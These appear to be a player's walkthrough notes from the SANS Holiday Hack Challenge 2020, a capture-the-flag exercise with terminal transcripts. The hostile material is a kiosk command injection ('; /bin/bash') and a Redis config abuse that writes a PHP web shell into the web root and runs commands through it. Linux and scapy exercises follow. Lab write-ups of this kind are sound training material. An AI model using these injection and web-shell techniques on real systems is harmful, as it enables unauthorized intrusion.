SANs Holiday Hack Challenge - KringleCon 3: French Hens!

Name:                 Floor:   Room:
Ribb Bonbowford       1        Dining Room
Noel Boetie           1        Wrapping Room
Ginger Breddie        1        Castle Entry
Minty Candycane       1.5      Workshop
Angel Candysalt       1        Great Room
Tangle Coalbox        1        Speaker UNPreparedness
Bushy Evergreen       2        Talks Lobby
Holly Evergreen       1        Kitchen
Bubble Lightington    1        Courtyard
Jewel Loggins                  Front Lawn
Sugarplum Mary        1        Courtyard
Pepper Minstix                 Front Lawn
Bow Ninecandle        2        Talks Lobby
Morcel Nougat         2        Speaker UNPreparedness
Wunorse Openslae      R        NetWars Room
Sparkle Redberry      1        Castle Entry
Jingle Ringford                NJTP
Piney Sappington      1        Castle Entry
Chimney Scissorsticks 2        Talks Lobby
Fitzy Shortstack      1        Kitchen
Alabaster Snowball    R        NetWars Room
Eve Snowshoes         3        Santa's Balcony
Shinny Upatree                 Front Lawn
Tinsel Upatree        3        Santa's Office

__       _    --------------
|__)_  _ (_   | NetWars Room |
| \(_)(_)|    |              |
              |            * |
               --------------

__  __                              __  __
 _)|_                                _)|_          -------
/__|        Tracks                  __)|          |Balcony|
            1 2 3 4 5 6 7                          -------
 -------    -------------                             |
|Speaker|--| Talks Lobby |                        --------
|Unprep |  |             |                       |Santa's |
 -------    ------       |                       |Office  |
                  |      |                        --    --
                  |     *|                          |  |
                   ------                           |   ---
                                                    |    * |
    __                                               ------
 /||_
  ||                                          __ __           --------
  --------------------------              /| |_ |_           |Wrapping|
 |        Courtyard         |              |.__)|            |  Room  |
  --------------------------                                  --------
    |                    |                                       |
 ------    --------    ------                          ---    --------
|Dining|--|Kitchen |--|Great |                            |--|Workshop|
|      |   --------   |      |                            |  |        |
| Room |--|      * |--| Room |                            |  |        |
|      |  |Entryway|  |      |                            |  |        |
 ------    --------    ------                             |  |        |
               |                                             | *      |
           ----------                                         --------
          |Front Lawn|       NOTE: * denotes Santavator
           ----------

elf@b440204e0f3b:~$ tmux ls
0: 1 windows (created Sun Dec 20 09:24:40 2020) [80x24]

elf@b440204e0f3b:~$ tmux attach -t 0

~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Welcome to the North Pole!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Map
2. Code of Conduct and Terms of Use
3. Directory
4. Print Name Badge
5. Exit


Please select an item from the menu by entering a single number.
Anything else might have ... unintended consequences.

Enter choice [1 - 5]

Enter choice [1 - 5] 4
Enter your name (Please avoid special characters, they cause some weird errors)...n3s0 ; /bin/bash
 ______
< n3s0 >
 ------
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||

   ___                                                      _    
  / __|   _  _     __      __      ___     ___     ___     | |   
  \__ \  | +| |   / _|    / _|    / -_)   (_-<    (_-<     |_|   
  |___/   \_,_|   \__|_   \__|_   \___|   /__/_   /__/_   _(_)_  
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """ | 
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 

Type 'exit' to return to the menu.

shinny@45dd48003c79:~$ ls -la
total 32
drwxr-xr-x 1 shinny shinny 4096 Dec 20 21:26 .
drwxr-xr-x 1 root   root   4096 Dec 14 17:53 ..
-rw------- 1 shinny shinny    5 Dec 20 21:26 .bash_history
-rw-r--r-- 1 shinny shinny  220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 root   root    120 Dec  5 00:00 .bashrc
-rw-r--r-- 1 shinny shinny  807 Apr 18  2019 .profile
-rwxr-xr-x 1 root   root   2528 Dec  6 12:24 welcome.sh

#!/bin/bash
declare -x LAST_ORDER
LAST_ORDER=''
# https://bash.cyberciti.biz/guide/Menu_driven_scripts
# A menu driven shell script sample template
## ----------------------------------
# Step #1: Define variables
# ----------------------------------
RED='\033[0;41;30m'
STD='\033[0;0;39m'
# ----------------------------------
# Step #2: User defined function
# ----------------------------------
pause() {
  read -r -p "Press [Enter] key to continue..." fackEnterKey
}
one() {
  cat /opt/castlemap.txt
  pause
}
two() {
  more /opt/coc.md
  pause
}
three() {
  cat /opt/directory.txt
  pause
}
four() {
  read -r -p "Enter your name (Please avoid special characters, they cause some weird errors)..." name
  if [ -z "$name" ]; then
    name="Santa\'s Little Helper"
  fi
  bash -c "/usr/games/cowsay -f /opt/reindeer.cow $name"
  pause
}
surprise(){
  cat /opt/plant.txt
  echo "Sleeping for 10 seconds.." && sleep 10
}
# function to display menus
show_menus() {
  clear
  echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  echo " Welcome to the North Pole!"
  echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  echo "1. Map"
  echo "2. Code of Conduct and Terms of Use"
  echo "3. Directory"
  echo "4. Print Name Badge"
  echo "5. Exit"
  echo
  echo
  echo "Please select an item from the menu by entering a single number."
  echo "Anything else might have ... unintended consequences."
  echo
}
# read input from the keyboard and take a action
read_options() {
  local choice
  read -r -p "Enter choice [1 - 5] " choice
  case $choice in
  1*) one ;;
  2*) two ;;
  3*) three ;;
  4*) four $choice ;;
  5) exit 0 ;;
  plant) surprise c;;
  *) echo -e "${RED}Error...${STD}" && sleep 2 ;;
  esac
}
# ----------------------------------------------
# Step #3: Trap CTRL+C, CTRL+Z and quit singles
# ----------------------------------------------
trap '' SIGINT SIGQUIT SIGTSTP
# -----------------------------------
# Step #4: Show opening message once
# ------------------------------------
echo
echo Welcome to our castle, we\'re so glad to have you with us!
echo Come and browse the kiosk\; though our app\'s a bit suspicious.
echo Poke around, try running bash, please try to come discover,
echo Need our devs who made our app pull/patch to help recover?
echo
echo "Escape the menu by launching /bin/bash"
echo
echo
read -n 1 -r -s -p $'Press enter to continue...'
clear
# -----------------------------------
# Step #5: Main logic - infinite loop
# ------------------------------------
while true; do
  show_menus
  read_options
done

 Hi, my name is Jason the Plant!

  ( U
   \| )
  __|/
  \    /
   \__/ ejm96

player@da47331f1c25:~$ curl http://localhost/maintenance.php?cmd=ping
Running: redis-cli --raw -a '<password censored>' 'ping'
PONG

player@61e8c9c01a21:~$ curl http://localhost/maintenance.php?cmd=info      
Running: redis-cli --raw -a '<password censored>' 'info'
# Server
redis_version:5.0.3
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:1b271fe49834c463
redis_mode:standalone
os:Linux 4.19.0-13-cloud-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:8.3.0
process_id:6
run_id:71e3f351684cd7d0555c1e4fc441a8b696089a6b
tcp_port:6379
uptime_in_seconds:121
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:15866641
executable:/usr/bin/redis-server
config_file:/usr/local/etc/redis/redis.conf

player@da47331f1c25:~$ curl http://localhost/maintenance.php?cmd=config,get,*
Running: redis-cli --raw -a '<password censored>' 'config' 'get' '*'

dbfilename
dump.rdb
requirepass
R3disp@ss
masterauth
SNIPPED
dir
/
save
SNIPPED

player@33c984ced50f:~$ whereis redis-cli
redis-cli: /usr/bin/redis-cli

player@33c984ced50f:~$ redis-cli -a R3disp@ss -h 127.0.0.1
Warning: Using a password with '-a' or '-u' option on the command line interface may n
ot be safe.
127.0.0.1:6379> 

player@61e8c9c01a21:~$ ls /var/www/html
ls: cannot open directory '/var/www/html': Permission denied

127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename testing.php
OK
127.0.0.1:6379> set test "<?php phpinfo(); ?>"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> exit

player@33c984ced50f:~$ curl --output - http://localhost/testing.php
REDIS0009�      redis-ver5.0.3�
�edis-bits�@�ctime�u�_used-mem�x
 aof-preamble��� test <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "
DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<style type="text/css">
body {background-color: #fff; color: #222; font-family: sans-serif;}
pre {margin: 0; font-family: monospace;}
a:link {color: #009; text-decoration: none; background-color: #fff;}
a:hover {text-decoration: underline;}
table {border-collapse: collapse; border: 0; width: 934px; box-shadow: 1px 2px 3px #cc
c;}
.center {text-align: center;}
.center table {margin: 1em auto; text-align: left;}
.center th {text-align: center !important;}
td, th {border: 1px solid #666; font-size: 75%; vertical-align: baseline; padding: 4px
 5px;}
h1 {font-size: 150%;}
h2 {font-size: 125%;}
.p {text-align: left;}
.e {background-color: #ccf; width: 300px; font-weight: bold;}
.h {background-color: #99c; font-weight: bold;}
.v {background-color: #ddd; max-width: 300px; overflow-x: auto; word-wrap: break-word;
}
.v i {color: #999;}
img {float: right; border: 0;}
hr {width: 934px; background-color: #ccc; border: 0; height: 1px;}
</style>
<title>PHP 7.3.19-1~deb10u1 - phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NO
FOLLOW,NOARCHIVE" /></head>
<body><div class="center">
<table>
<tr class="h"><td>
<a href="http://www.php.net/">

player@33c984ced50f:~$ redis-cli -a R3disp@ss -h 127.0.0.1
Warning: Using a password with '-a' or '-u' option on the command line interface may n
ot be safe.
127.0.0.1:6379> config set dbfilename moretesting.php
OK
127.0.0.1:6379> set test "<?php system($_GET['command']) ?>"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> exit

player@33c984ced50f:~$ curl --output - http://localhost/moretesting.php?command=id
REDIS0009�      redis-ver5.0.3�
�edis-bits�@�ctime�"w�_used-mem
 aof-preamble��� test!uid=33(www-data) gid=33(www-data) groups=33(www-data)
example1The site is in maintenance modeexample2#We think there's a bug in index.php�S�

player@33c984ced50f:~$ curl --output - http://localhost/moretesting.php?command=ls%20-la
REDIS0009�      redis-ver5.0.3�
�edis-bits�@�ctime�"w�_used-mem
 aof-preamble��� test!total 28
drwx------ 1 www-data www-data 4096 Jan  3 07:49 .
drwxr-xr-x 1 root     root     4096 Nov 24 18:52 ..
-rwx------ 1 www-data www-data  488 Jan  3 07:35 index.php
-rwx------ 1 www-data www-data  783 Nov 24 18:50 maintenance.php
-rw-r--r-- 1 root     root      225 Jan  3 07:49 moretesting.php
-rw-r--r-- 1 root     root      211 Jan  3 07:40 testing.php
example1The site is in maintenance modeexample2#We think there's a bug in index.php�S�

player@33c984ced50f:~$ curl --output - http://localhost/moretesting.php?command=cat%20index.php
REDIS0009�      redis-ver5.0.3�
�edis-bits�@�ctime�"w�_used-mem
 aof-preamble��� test!<?php
# We found the bug!!
#
#         \   /
#         .\-/.
#     /\ ()   ()
#       \/~---~\.-~^-.
# .-~^-./   |   \---.
#      {    |    }   \
#    .-~\   |   /~-.
#   /    \  A  /    \
#         \/ \/
# 
echo "Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what's going on"?>
example1The site is in maintenance modeexample2#We think there's a bug in index.php�S�

player@61e8c9c01a21:~$ curl --output - http://localhost/moretesting.php?command=cat%20maintenance.php
REDIS0009�      redis-ver5.0.3�
�edis-bits�@�ctime‹(�_used-mem
 aof-preamble��� test!<?php
$redis_password = "R3disp@ss";
if(!isset($_REQUEST['cmd']) || $_REQUEST['cmd'] == '') {
    die("\n\nERROR: 'cmd' argument required (use commas to separate commands); eg:\ncu
rl http://localhost/maintenance.php?cmd=help\ncurl http://localhost/maintenance.php?cm
d=mget,example1\n\n");
}
# Pull apart the command, escape it, and put it back together
$cmd = implode(' ', array_map('escapeshellarg', explode(',', $_REQUEST['cmd'])));
if(strpos($cmd, 'scan') !== false) {
  die("'scan' is not allowed");
}
if(strpos($cmd, 'requirepass') !== false) {
  die("'requirepass' is not allowed");
}
$cmd = "redis-cli --raw -a '$redis_password' $cmd";
echo "Running: " . str_replace($redis_password, '<password censored>', $cmd) . "\n\n";
$result = shell_exec($cmd);
echo $result;
?>
example2#We think there's a bug in index.phexample1The site is in maintenance mode��:H��(

The North Pole 🍭 Lollipop Maker:
All the lollipops on this system have been stolen by munchkins. Capture munchkins by following instructions here and 🍭's will appear in the green bar below. Run the command "hintme" to receive a hint.

Perform a directory listing of your home directory to find a munchkin and retrieve a lollipop!

elf@6a3b5059dcd0:~$ ls
HELP  munchkin_19315479765589239  workshop

Now find the munchkin inside the munchkin.

elf@6a3b5059dcd0:~$ cat munchkin_19315479765589239 
munchkin_24187022596776786

Great, now remove the munchkin in your home directory.

elf@6a3b5059dcd0:~$ rm munchkin_19315479765589239 
elf@6a3b5059dcd0:~$ ls
HELP  workshop

Print the present working directory using a command.

elf@6a3b5059dcd0:~$ pwd
/home/elf

Good job but it looks like another munchkin hid itself in you home directory. Find the hidden munchkin!

elf@6a3b5059dcd0:~$ ls -la
total 56
drwxr-xr-x 1 elf  elf   4096 Jan  2 06:59 .
drwxr-xr-x 1 root root  4096 Dec 10 18:14 ..
-rw-r--r-- 1 elf  elf     31 Dec 10 18:18 .bash_history
-rw-r--r-- 1 elf  elf    220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 elf  elf   3105 Dec  5 00:00 .bashrc
-rw-r--r-- 1 elf  elf      0 Jan  2 06:59 .munchkin_5074624024543078
-rw-r--r-- 1 elf  elf    807 Apr  4  2018 .profile
-rw-r--r-- 1 elf  elf    168 Dec  5 00:00 HELP
drwxr-xr-x 1 elf  elf  20480 Dec 10 18:19 workshop

Excellent, now find the munchkin in your command history.

elf@6a3b5059dcd0:~$ history
    1  echo munchkin_9394554126440791
    2  ls
    3  cat munchkin_19315479765589239 
    4  rm munchkin_19315479765589239 
    5  ls
    6  pwd
    7  ls -la
    8  history

Find the munchkin in your environment variables.

lf@04e8b3cb3445:~$ printenv | grep -i munchkin
z_MUNCHKIN=munchkin_20249649541603754
SESSNAME=Munchkin Wrangler

Next, head into the workshop.

elf@6a3b5059dcd0:~$ ls
HELP  workshop
elf@6a3b5059dcd0:~$ cd workshop/
elf@6a3b5059dcd0:~/workshop$

A munchkin is hiding in one of the workshop toolboxes. Use "grep" while ignoring case to find which toolbox the munchkin is in.

elf@6a3b5059dcd0:~/workshop$ grep -i "munchkin" *.txt
toolbox_191.txt:mUnChKin.4056180441832623

A munchkin is blocking the lollipop_engine from starting. Run the lollipop_engine binary to retrieve this munchkin.

elf@6a3b5059dcd0:~/workshop$ ls | grep -i lollipop
lollipop_engine
elf@6a3b5059dcd0:~/workshop$ ls -la | grep -i lollipop
-r--r--r-- 1 elf elf 5692640 Dec 10 18:19 lollipop_engine
elf@6a3b5059dcd0:~/workshop$ file lollipop_engine
lollipop_engine: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interp
reter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3507aa01d32c34dc8e8c6462b764a
db90a82768d, stripped
elf@6a3b5059dcd0:~/workshop$ chmod ug+x lollipop_engine 
elf@6a3b5059dcd0:~/workshop$ ls -la | grep -i lollipop
-r-xr-xr-- 1 elf elf 5692640 Dec 10 18:19 lollipop_engine
elf@6a3b5059dcd0:~/workshop$ ./lollipop_engine 
munchkin.898906189498077

Munchkins have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0.

elf@6a3b5059dcd0:~/workshop$ cd electrical/
elf@6a3b5059dcd0:~/workshop/electrical$ ls
blown_fuse0
elf@6a3b5059dcd0:~/workshop/electrical$ mv blown_fuse0 fuse0

Now, make a symbolic link (symlink) named fuse1 that points to fuse0

elf@6a3b5059dcd0:~/workshop/electrical$ ln -s fuse0 fuse1
elf@6a3b5059dcd0:~/workshop/electrical$ ls -la
total 20
drwxr-xr-x 1 elf elf 4096 Jan  2 07:18 .
drwxr-xr-x 1 elf elf 4096 Dec 10 18:19 ..
-rw-r--r-- 1 elf elf  200 Dec 10 18:19 fuse0
lrwxrwxrwx 1 elf elf    5 Jan  2 07:18 fuse1 -> fuse0

Make a copy of fuse1 named fuse2.

elf@6a3b5059dcd0:~/workshop/electrical$ cp fuse1 fuse2
elf@6a3b5059dcd0:~/workshop/electrical$ ls -la
total 24
drwxr-xr-x 1 elf elf 4096 Jan  2 07:18 .
drwxr-xr-x 1 elf elf 4096 Dec 10 18:19 ..
-rw-r--r-- 1 elf elf  200 Dec 10 18:19 fuse0
lrwxrwxrwx 1 elf elf    5 Jan  2 07:18 fuse1 -> fuse0
-rw-r--r-- 1 elf elf  200 Jan  2 07:18 fuse2

We need to make sure munchkins don't come back. Add the characters "MUNCHKIN_REPELLENT" into the file fuse2.

elf@04e8b3cb3445:~/workshop/electrical$ echo "MUNCHKIN_REPELLENT" > fuse2
elf@04e8b3cb3445:~/workshop/electrical$ cat fuse2
MUNCHKIN_REPELLENT

Find the munchkin somewhere in /opt/munchkin_den.

elf@04e8b3cb3445:~/workshop/electrical$ cd /opt/munchkin_den/
elf@04e8b3cb3445:/opt/munchkin_den$ ls -la
total 136
drwxr-xr-x 1 root root  4096 Dec 10 18:20 .
drwxr-xr-x 1 root root  4096 Dec 10 18:20 ..
-rw-r--r-- 1 root root   403 Dec 10 18:20 .asf.yaml
drwxr-xr-x 8 root root  4096 Dec 10 18:20 .git
-rw-r--r-- 1 root root   481 Dec 10 18:20 .gitignore
drwxr-xr-x 3 root root  4096 Dec 10 18:20 .mvn
-rw-r--r-- 1 root root   922 Dec 10 18:20 .travis.yml
-rw-r--r-- 1 root root  6320 Dec 10 18:20 Jenkinsfile
-rw-r--r-- 1 root root  1727 Dec 10 18:20 SECURITY.md
drwxr-xr-x 1 root root  4096 Dec 10 18:20 apps
drwxr-xr-x 3 root root  4096 Dec 10 18:20 assembly
drwxr-xr-x 2 root root  4096 Dec 10 18:20 bom
drwxr-xr-x 4 root root  4096 Dec 10 18:20 bundles
drwxr-xr-x 3 root root  4096 Dec 10 18:20 core
-rwxr-xr-x 1 root root 10069 Dec 10 18:20 mvnw
-rw-r--r-- 1 root root  6607 Dec 10 18:20 mvnw.cmd
drwxr-xr-x 1 root root  4096 Dec 10 18:20 plugins
-rw-r--r-- 1 root root 48541 Dec 10 18:20 pom.xml
drwxr-xr-x 5 root root  4096 Dec 10 18:20 src
elf@04e8b3cb3445:/opt/munchkin_den$ find . -type f | grep -i munchkin
./apps/showcase/src/main/resources/mUnChKin.6253159819943018

Find the file somewhere in /opt/munchkin_den that is owned by the user munchkin.

elf@04e8b3cb3445:/opt/munchkin_den$ find . -type f -user munchkin
./apps/showcase/src/main/resources/template/ajaxErrorContainers/niKhCnUm_9528909612014411

Find the file created by munchkins that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/munchkin_den.

elf@04e8b3cb3445:/opt/munchkin_den$ find . -type f -group munchkin -size -110k
./apps/showcase/src/main/resources/template/ajaxErrorContainers/niKhCnUm_9528909612014411

Find the file created by munchkins that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/munchkin_den.

elf@04e8b3cb3445:/opt/munchkin_den$ find . -type f -size +108k -a -size -110k
./plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724

List running processes to find another munchkin.

elf@04e8b3cb3445:/opt/munchkin_den$ ps aux | grep -i munchkin
elf      35190  0.5  0.0  84316 26228 pts/2    S+   07:41   0:00 /usr/bin/python3 /14516_munchkin
elf      36625  0.0  0.0  13240  1120 pts/3    S+   07:41   0:00 grep --color=auto -i munchkin

The 14516_munchkin process is listening on a tcp port. Use a command to have the only listening port display to the screen.

elf@04e8b3cb3445:/opt/munchkin_den$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:54321           0.0.0.0:*               LISTEN     
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node   Path
unix  2      [ ACC ]     STREAM     LISTENING     870410949 /tmp/tmux-1050/default
unix  3      [ ]         STREAM     CONNECTED     870411039 /tmp/tmux-1050/default
unix  3      [ ]         STREAM     CONNECTED     870341236 

The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last munchkin.

elf@04e8b3cb3445:/opt/munchkin_den$ curl http://localhost:54321/
munchkin.73180338045875

Your final task is to stop the 14516_munchkin process to collect the remaining lollipops.

elf@04e8b3cb3445:/opt/munchkin_den$ ps aux | grep munchkin
elf      35190  0.1  0.0 160448 26824 pts/2    S+   07:41   0:00 /usr/bin/python3 /14516_munchkin
elf      43489  0.0  0.0  13240  1080 pts/3    S+   07:46   0:00 grep --color=auto munchkin
elf@04e8b3cb3445:/opt/munchkin_den$ kill 35190
elf@04e8b3cb3445:/opt/munchkin_den$ ps aux | grep munchkin
elf      44548  0.0  0.0  13240  1140 pts/3    S+   07:46   0:00 grep --color=auto munchkin

elf@345c0dd109b7 ~ $ ls -la
total 852
drwxr-xr-x 1 root root   4096 Dec  3 20:43 .
drwxr-xr-x 1 root root   4096 Dec  3 20:41 ..
-rw-r--r-- 1 elf  elf     220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 root root    102 Oct  1 17:37 .bashrc
drwxr-xr-x 1 elf  elf    4096 Dec  3 20:43 .local
-rw-r--r-- 1 elf  elf     807 Apr 18  2019 .profile
-rwxr-xr-x 1 root root 231728 Dec  1 19:19 door
drwxr-xr-x 1 elf  elf    4096 Dec  3 20:43 lab
-rwxr-xr-x 1 root root 276784 Dec  1 19:19 lights
-rw-r--r-- 1 root root     92 Oct  1 17:37 lights.conf
-rwxr-xr-x 1 root root 321840 Dec  1 19:19 vending-machines
-rw-r--r-- 1 root root     59 Oct  1 17:37 vending-machines.json

elf@345c0dd109b7 ~ $ strings door | grep pass
/home/elf/doorYou look at the screen. It wants a password. You roll your eyes - the 
password is probably stored right in the binary. There's gotta be a
Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
Beep boop invalid password

elf@345c0dd109b7 ~ $ ./door 
You look at the screen. It wants a password. You roll your eyes - the 
password is probably stored right in the binary. There's gotta be a
tool for this...
What do you enter? > Op3nTheD00r
Checking......
Door opened!

╔════════════════════════════════════════════════════════════════╗
║  ___ ___ ___ ___ ___ _  _ _____   ___  _   ___ _  _____ _____  ║
║ | _ \ _ \ __/ __| __| \| |_   _| | _ \/_\ / __| |/ / __|_   _| ║
║ |  _/   / _|\__ \ _|| .` | | |   |  _/ _ \ (__| ' <| _|  | |   ║
║ |_| |_|_\___|___/___|_|\_| |_|   |_|/_/ \_\___|_|\_\___| |_|   ║
║                ___                                             ║
║               | _ \_ _ ___ _ __ _ __  ___ _ _                  ║
║               |  _/ '_/ -_) '_ \ '_ \/ -_) '_|                 ║
║               |_| |_| \___| .__/ .__/\___|_|                   ║
║                           |_|  |_|                             ║
║                (Packets prepared with scapy)                   ║
╚════════════════════════════════════════════════════════════════╝

╔════════════════════════════════════════════════════════════════╗
║ HELP MENU:                                                     ║
╠════════════════════════════════════════════════════════════════╣
║ 'help()' prints the present packet scapy help.                 ║
║ 'help_menu()' prints the present packet scapy help.            ║
║ 'task.get()' prints the current task to be solved.             ║
║ 'task.task()' prints the current task to be solved.            ║
║ 'task.help()' prints help on how to complete your task         ║
║ 'task.submit(answer)' submit an answer to the current task     ║
║ 'task.answered()' print through all successfully answered.     ║
╚════════════════════════════════════════════════════════════════╝
>>> task.get()
Welcome to the "Present Packet Prepper" interface! The North Pole could use your help preparing present packets for shipment.
Start by running the task.submit() function passing in a string argument of 'start'.
Type task.help() for help on this question.

>>> task.submit('start')
Correct! adding a () to a function or class will execute it. Ex - FunctionExecuted(
)

Submit the class object of the scapy module that sends packets at layer 3 of the OS
I model.

>>> task.submit(send)
Correct! The "send" scapy class will send a crafted scapy packet out of a network i
nterface.

Submit the class object of the scapy module that sniffs network packets and returns
 those packets in a list.

>>> task.submit(sniff)
Correct! the "sniff" scapy class will sniff network traffic and return these packet
s in a list.

Submit the NUMBER only from the choices below that would successfully send a TCP pa
cket and then return the first sniffed response packet to be stored in a variable n
amed "pkt":
1. pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20))
2. pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20))
3. pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20))

>>> task.submit(1)
Correct! sr1 will send a packet, then immediately sniff for a response packet.

Submit the class object of the scapy module that can read pcap or pcapng files and 
return a list of packets.

>>> task.submit(rdpcap)
Correct! the "rdpcap" scapy class can read pcap files.

The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only fro
m the choices below that correctly prints a summary of UDP_PACKETS:
1. UDP_PACKETS.print()
2. UDP_PACKETS.show()
3. UDP_PACKETS.list()

>>> UDP_PACKETS.show()
0000 Ether / IP / UDP / DNS Qry "b'www.elves.rule.'" 
0001 Ether / IP / UDP / DNS Ans "10.21.23.12" 
>>> task.submit(2)
Correct! .show() can be used on lists of packets AND on an individual packet.

```txt
Submit only the first packet found in UDP_PACKETS.

>>> UDP_PACKETS.show()
0000 Ether / IP / UDP / DNS Qry "b'www.elves.rule.'" 
0001 Ether / IP / UDP / DNS Ans "10.21.23.12" 
>>> task.submit(UDP_PACKETS[0])
Correct! Scapy packet lists work just like regular python lists so packets can be a
ccessed by their position in the list starting at offset 0.

Submit only the entire TCP layer of the second packet in TCP_PACKETS.

>>> TCP_PACKETS[1]
<Ether  dst=00:16:ce:6e:8b:24 src=00:15:f2:40:76:ef type=IPv4 |<IP  version=4 ihl=5
 tos=0x0 len=48 id=10592 flags= frag=0 ttl=128 proto=tcp chksum=0x8ee4 src=192.168.
0.193 dst=192.168.0.114 |<TCP  sport=ftp dport=1137 seq=3334930753 ack=3753095935 d
ataofs=7 reserved=0 flags=SA window=16384 chksum=0x6151 urgptr=0 options=[('MSS', 1
452), ('NOP', None), ('NOP', None), ('SAckOK', b'')] |>>>
>>> TCP_PACKETS[1][2]
<TCP  sport=ftp dport=1137 seq=3334930753 ack=3753095935 dataofs=7 reserved=0 flags
=SA window=16384 chksum=0x6151 urgptr=0 options=[('MSS', 1452), ('NOP', None), ('NO
P', None), ('SAckOK', b'')] |>
>>> task.submit(TCP_PACKETS[1][2])
Correct! Most of the major fields like Ether, IP, TCP, UDP, ICMP, DNS, DNSQR, DNSRR
, Raw, etc... can be accessed this way. Ex - pkt[IP][TCP]

Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 
and then submit this modified packet

>>> UDP_PACKETS[0][IP]
<IP  version=4 ihl=5 tos=0x0 len=60 id=0 flags=DF frag=0 ttl=64 proto=udp chksum=0x
6543 src=192.168.170.8 dst=192.168.170.20 |<UDP  sport=32795 dport=domain len=40 ch
ksum=0xaf61 |<DNS  id=30144 qr=0 opcode=QUERY aa=0 tc=0 rd=1 ra=0 z=0 ad=0 cd=0 rco
de=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR  qname='www.elves.rule.' qt
ype=A qclass=IN |> an=None ns=None ar=None |>>>
>>> UDP_PACKETS[0][IP].src
'192.168.170.8'
>>> UDP_PACKETS[0][IP].src = "127.0.0.1"
>>> UDP_PACKETS[0][IP]
<IP  version=4 ihl=5 tos=0x0 len=60 id=0 flags=DF frag=0 ttl=64 proto=udp chksum=0x
6543 src=127.0.0.1 dst=192.168.170.20 |<UDP  sport=32795 dport=domain len=40 chksum
=0xaf61 |<DNS  id=30144 qr=0 opcode=QUERY aa=0 tc=0 rd=1 ra=0 z=0 ad=0 cd=0 rcode=o
k qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR  qname='www.elves.rule.' qtype=
A qclass=IN |> an=None ns=None ar=None |>>>
>>> task.submit(UDP_PACKETS[0][IP])
Correct! You can change ALL scapy packet attributes using this method.

Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list TCP_PACKETS.

>>> TCP_PACKETS.show()
0000 Ether / IP / TCP 192.168.0.114:1137 > 192.168.0.193:ftp S
0001 Ether / IP / TCP 192.168.0.193:ftp > 192.168.0.114:1137 SA
0002 Ether / IP / TCP 192.168.0.114:1137 > 192.168.0.193:ftp A
0003 Ether / IP / TCP 192.168.0.193:ftp > 192.168.0.114:1137 PA / Raw
0004 Ether / IP / TCP 192.168.0.114:1137 > 192.168.0.193:ftp PA / Raw
0005 Ether / IP / TCP 192.168.0.193:ftp > 192.168.0.114:1137 PA / Raw
0006 Ether / IP / TCP 192.168.0.114:1137 > 192.168.0.193:ftp PA / Raw
0007 Ether / IP / TCP 192.168.0.193:ftp > 192.168.0.114:1137 PA / Raw
>>> TCP_PACKETS[0]
<Ether  dst=00:15:f2:40:76:ef src=00:16:ce:6e:8b:24 type=IPv4 |<IP  version=4 ihl=5
 tos=0x0 len=48 id=42979 flags=DF frag=0 ttl=128 proto=tcp chksum=0xd060 src=192.16
8.0.114 dst=192.168.0.193 |<TCP  sport=1137 dport=ftp seq=3753095934 ack=0 dataofs=
7 reserved=0 flags=S window=16384 chksum=0x2963 urgptr=0 options=[('MSS', 1460), ('
NOP', None), ('NOP', None), ('SAckOK', b'')] |>>>
>>> TCP_PACKETS[1]
<Ether  dst=00:16:ce:6e:8b:24 src=00:15:f2:40:76:ef type=IPv4 |<IP  version=4 ihl=5
 tos=0x0 len=48 id=10592 flags= frag=0 ttl=128 proto=tcp chksum=0x8ee4 src=192.168.
0.193 dst=192.168.0.114 |<TCP  sport=ftp dport=1137 seq=3334930753 ack=3753095935 d
ataofs=7 reserved=0 flags=SA window=16384 chksum=0x6151 urgptr=0 options=[('MSS', 1
452), ('NOP', None), ('NOP', None), ('SAckOK', b'')] |>>>
>>> TCP_PACKETS[2]
<Ether  dst=00:15:f2:40:76:ef src=00:16:ce:6e:8b:24 type=IPv4 |<IP  version=4 ihl=5
 tos=0x0 len=40 id=42980 flags=DF frag=0 ttl=128 proto=tcp chksum=0xd067 src=192.16
8.0.114 dst=192.168.0.193 |<TCP  sport=1137 dport=ftp seq=3753095935 ack=3334930754
